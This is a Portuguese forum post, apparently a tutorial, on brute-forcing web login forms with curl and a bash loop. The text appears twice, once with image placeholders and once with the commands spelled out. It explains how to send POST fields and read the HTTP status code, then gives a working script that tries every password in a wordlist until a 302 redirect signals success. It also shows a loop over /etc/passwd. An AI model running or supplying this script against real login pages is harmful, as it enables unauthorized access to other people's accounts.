Brute-force em aplicações web usando o terminal
Estava pesquisando sobre o curl , e tive a ideia de fazer um brute-force em shell-script,
mais como eu ja fiz isso em perl e php resolvi somente testar os comandos.
primeiro iremos ver algumas opções de linha de comando do curl:
Ressaltei essas funções pois serão as necessarias para o ataque de brute-force
As opções -s e -o são para não exibirem o conteudo html do request , iremos mandar essa saida de comando para
o /dev/null *-* .
O comando -F funciona para enviar os parametros atraves de post request,exe:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
E por ultimo a opção -w , usaremos essa opção para descobrir o status-code do request , levando em consideração que
a maioria dos sistemas de login ,quando se faz o login corretamente, redirecionam para outra pagina (302).
exemplo:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
No final da saida do comando obtemos o numero 404(Not Found)
Agora iremos proceder para o ataque de brute-force , primeiro temos que saber quais os nomes dos campos que iremos enviar o post request,exe:
LOGIN,PASSWORD,LOG,PASSWD,ETC ...
tendo essas informações , iremos transformar a saida do comando em uma variavel , exemplo:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
A saida do comando foi 302 (redirecionamento) , iremos guardar esse saida na variavel "login":
Agora para proceder com o ataque de wordlist iremos usar o for para ler um arquivo linha por linha , exemplo:
Nosso comando final ficara assim:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Pronto vc ja estara fazendo um ataque de brute-force ,atraves de wordlist, usando o terminal , espero que tenham gostado da dica.
[]'s
Estava pesquisando sobre o curl , e tive a ideia de fazer um brute-force em shell-script,
mais como eu ja fiz isso em perl e php resolvi somente testar os comandos.
primeiro iremos ver algumas opções de linha de comando do curl:
mmxm@MMxM:~$ curl -h
Usage: curl [options...] <url>
[...]
-F/--form <name=content> Specify HTTP multipart POST data (H)
[...]
-o/--output <file> Write output to <file> instead of stdout
[...]
-s/--silent Silent mode. Don't output anything
[...]
-w/--write-out <format> What to output after completion
Ressaltei essas funções pois serão as necessarias para o ataque de brute-force
As opções -s e -o são para não exibirem o conteudo html do request , iremos mandar essa saida de comando para
o /dev/null *-* .
O comando -F funciona para enviar os parametros atraves de post request,exe:
mmxm@MMxM:~$ curl -F teste=enviando-post localhost/teste.php
enviando-post
mmxm@MMxM:~$ cat /var/www/teste.php
<?php
echo $_POST['teste'];
?>
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
E por ultimo a opção -w , usaremos essa opção para descobrir o status-code do request , levando em consideração que
a maioria dos sistemas de login ,quando se faz o login corretamente, redirecionam para outra pagina (302).
exemplo:
mmxm@MMxM:~$ curl -w "%{http_code}" localhost/lol
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /lol was not found on this server.</p>
<hr>
<address>Apache/2.2.16 (Debian) Server at localhost Port 80</address>
</body></html>
404
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
No final da saida do comando obtemos o numero 404(Not Found)
Agora iremos proceder para o ataque de brute-force , primeiro temos que saber quais os nomes dos campos que iremos enviar o post request,exe:
LOGIN,PASSWORD,LOG,PASSWD,ETC ...
tendo essas informações , iremos transformar a saida do comando em uma variavel , exemplo:
mmxm@MMxM:~$ curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php
302
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
A saida do comando foi 302 (redirecionamento) , iremos guardar esse saida na variavel "login":
mmxm@MMxM:~$ login=$(curl -s -o /dev/null -F login=mmxm -F pass=123456 -w "%{http_code}" localhost/login.php)
Agora para proceder com o ataque de wordlist iremos usar o for para ler um arquivo linha por linha , exemplo:
mmxm@MMxM:~$ for i in `cat /etc/passwd`;do echo $i; done
Nosso comando final ficara assim:
for i in `cat wordlist.txt`
do
login=$(curl -s -o /dev/null -F login=mmxm -F pass=$i -w "%{http_code}" localhost/login.php)
if [ $login '==' "302" ]
then
echo "Password: $i"
break
else
echo "Trying: $i"
fi
done
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Pronto vc ja estara fazendo um ataque de brute-force ,atraves de wordlist, usando o terminal , espero que tenham gostado da dica.
[]'s